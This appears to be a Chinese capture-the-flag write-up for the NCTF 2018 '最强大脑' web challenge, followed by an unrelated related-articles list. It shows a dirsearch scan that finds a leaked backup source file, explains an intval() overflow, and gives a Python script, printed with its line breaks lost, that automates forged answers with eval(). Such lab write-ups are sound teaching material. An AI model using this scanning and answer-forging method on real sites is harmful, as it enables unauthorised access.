NSS [NCTF 2018]小绿草之最强大脑

NSS [NCTF 2018]小绿草之最强大脑

题目要求我们输入一个位数>21的正数,带入表达式并且计算结果。

image-20230712172445800

查看源码发现hint,有源码泄露。

image-20230712172506079

拿dirsearch扫一下。扫到了一个备份文件。

python dirsearch.py -u http://node4.anna.nssctf.cn:28805/

image-20230712172906627

访问/index.php.bak路由之后自动下载了源码。

<?php
if(isset($_SESSION['ans']) && isset($_POST['ans'])){if(($_SESSION['ans'])+intval($_POST['input'])!=$_POST['ans']){session_destroy();echo '<script language="javascript">  alert("怎么没算对呢?");  window.history.back(-1);  </script>';}else{if(intval(time())-$_SESSION['time']<1){session_destroy();echo '<script language="javascript">  alert("你手速太快啦,服务器承受不住!!!");  window.history.back(-1); </script> ';}if(intval(time())-$_SESSION['time']>2){session_destroy();echo '<script language="javascript">  alert("你算的太慢了少年!");  window.history.back(-1); </script> ';}echo '<script language="javascript">  alert("tql,算对了!!");  </script> ';$_SESSION['count']++;}
}
?>

前端js代码估计验证了我们输入的是不是整数以及是否大于21位

分析一下他的PHP源码:

1、通过POST把我们输入的传参进去。抓包可以发现,大于21位的是input,答案是ans

2、input 的变量经过了 php 的intval处理

3、每次脚本发起请求的间隔要在 1-2 秒之间

4、算对的次数会累加,但是没说返回flag。

关于上面第2点:在php中,post,get传过来的参数都是string,而intval处理string强制类型转换的时候就不会溢出的,最大只能是最大值。32位系统:2147483647 64位系统:9223372036854775807所以的话无论我们传过去的数值是多少,最后都只会是一个固定值,题目是64位的,所以是9223372036854775807

image-20230712180038299

编写的脚本如下:

import requests
import timeurl = 'http://node4.anna.nssctf.cn:28805'
res = requests.session()      #创建session对象,用来保存当前会话的持续有效性。不创建也可以调用对应的方法发送请求,但是没有cookie,那就无法记录答题数量。
response = res.get(url)   #发get包,获取题目
time.sleep(1)  # 睡一秒for i in range(1, 99):math = ""resTest = response.text            #获取返回包的内容for j in range(0, len(resTest)): #遍历获取网页数学表达式,这里建议用正则表达式(re)if resTest[j - 1] == ">" and resTest[j + 1] == "<" and resTest[j]!= "\n":math = math + resTest[j]# strip() 方法用于移除字符串头尾指定的字符(默认为空格或换行符)或字符序列math = math.strip('=')      #去掉末尾等号math = math.strip('+')  # 去掉开头加号num = eval(math)       #计算数学表达式的值num += 9223372036854775807myData = {   #构造的POST数据'ans': num,'input': "99999999999999999999999999999999999999999999999999999999999999999999999"}response = res.post(url, data=myData) #发post包,提交答案,并且获取返回包,获取下一个计算式print(response.text)          #打印当前返回包的内容time.sleep(1)  # 睡一秒if "ctf{" in response.text:       #如果返回包里面有flagprint("Flaggggggggg: ", response.text)exit() # 退出当前程序,也可以break

image-20230712181408396

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/195870.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

深入理解注意力机制(上)-起源

一、介绍 近几年自然语言处理有很大的进展&#xff0c;从 2018 年 Google 推出的 BERT&#xff0c;到后来的 GPT、ChatGPT 等&#xff0c;这些模型当时能取得这样的成果&#xff0c;除了庞大的数据量及损害资源外&#xff0c;最重要的是的就是背后的Transformer模型&#xff0c…

【Android Jetpack】DataStore的介绍

DataStore Jetpack DataStore是一种数据存储解决方案&#xff0c;允许您使用协议缓冲区存储键值对或类型化对象。DataStore使用Kotlin协程和Flow以异步、一致的事务方式存储数据。 注意&#xff1a;如果您需要支持大型或复杂数据集、部分更新或参照完整性&#xff0c;请考虑使…

java文件压缩加密,使用流的方式

使用net.lingala.zip4j来进行文件加密压缩。 添加依赖net.lingala.zip4j包依赖&#xff0c;这里使用的是最新的包2.11.5版本。 <dependency><groupId>net.lingala.zip4j</groupId><artifactId>zip4j</artifactId><version>${zip4j.versi…

基于Python+OpenCV+Tensorflow图像迁移的艺术图片生成系统

欢迎大家点赞、收藏、关注、评论啦 &#xff0c;由于篇幅有限&#xff0c;只展示了部分核心代码。 文章目录 一项目简介 二、功能三、系统![请添加图片描述](https://img-blog.csdnimg.cn/dbda87069fc14c24b71c1eb4224dff05.png)四. 总结 一项目简介 基于PythonOpenCVTensorfl…

Halcon Solution Guide I basics(1): Guide to Halcon Methods(Halcon解决方案)

文章目录 文章专栏前言文章解读基础解决方案字符串格式化 文章专栏 Halcon开发 前言 今天来看Halcon的第一章内容&#xff0c;Halcon解决方案 文章解读 基础解决方案 Halcon大部分的应用都使用了三种常用的算子应用用于图像的预处理。 Image Acquisition&#xff1a;图像加…

【算法】滑动窗口题单——2.不定长滑动窗口(求最长/最大)

文章目录 3. 无重复字符的最长子串1493. 删掉一个元素以后全为 1 的最长子数组904. 水果成篮1695. 删除子数组的最大得分2841. 几乎唯一子数组的最大和2024. 考试的最大困扰度1004. 最大连续1的个数 III1438. 绝对差不超过限制的最长连续子数组2401. 最长优雅子数组解法1——维…

Linux调试器---gdb的使用

顾得泉&#xff1a;个人主页 个人专栏&#xff1a;《Linux操作系统》 《C/C》 键盘敲烂&#xff0c;年薪百万&#xff01; 一、gdb的背景 gdb&#xff0c;全称为GNU调试器&#xff08;GNU Debugger&#xff09;&#xff0c;是一个功能强大的源代码级调试工具&#xff0c;主要…

【Android Jetpack】Hilt的理解与浅析

文章目录 依赖注入DaggerHiltKoin添加依赖项Hilt常用注解的含义HiltAndroidAppAndroidEntryPointInjectModuleInstallInProvidesEntryPoint Hilt组件生命周期和作用域如何使用 Hilt 进行依赖注入 本文只是进行了简单入门&#xff0c;博客仅当做笔记用。 依赖注入 依赖注入是一…

一文了解Word2vec 阐述训练流程

一文了解Word2vec 阐述训练流程 个性嵌入&#xff08;Personality Embeddings&#xff09; 词嵌入&#xff08;Word Embeddings&#xff09; 嵌入向量效果分析 语言模型 模型介绍 模型训练 Word2vec训练方法 CBOW方法 Skip-gram方法 CBOW方法与Skip-gram方法总结 重构…

C++模拟实现——红黑树封装set和map

一、红黑树迭代器的实现 基本的框架和实现链表的迭代器思路是一样的&#xff0c;都是对指针进行封装处理&#xff0c;然后实现一些基本的运算符重载&#xff0c;最重要的是operator&#xff0c;需要不递归的实现走中序的规则&#xff0c;这里只实现那最核心的几个基本功能&…

源码分析Mybatis拦截器(Interceptor)拦截saveBatch()获取不到实体id的原因

1.背景 由于业务需求想在Mybatis拦截器层面获取insert后实体id去做相关业务。但是发现执行saveBatch()方法时&#xff0c;获取参数实体的时候&#xff0c;拿不到自增id。但是save()方法可以。 save方法之所以可以是因为&#xff1a; MybatisPlus的BaseMapper执行insert方法后…

基于单片机16路抢答器仿真系统

**单片机设计介绍&#xff0c; 基于单片机16路抢答器仿真系统 文章目录 一 概要二、功能设计设计思路 三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于单片机的16路抢答器仿真系统是一种用于模拟和实现抢答竞赛的系统。该系统由硬件和软件两部分组成。 硬件方面&am…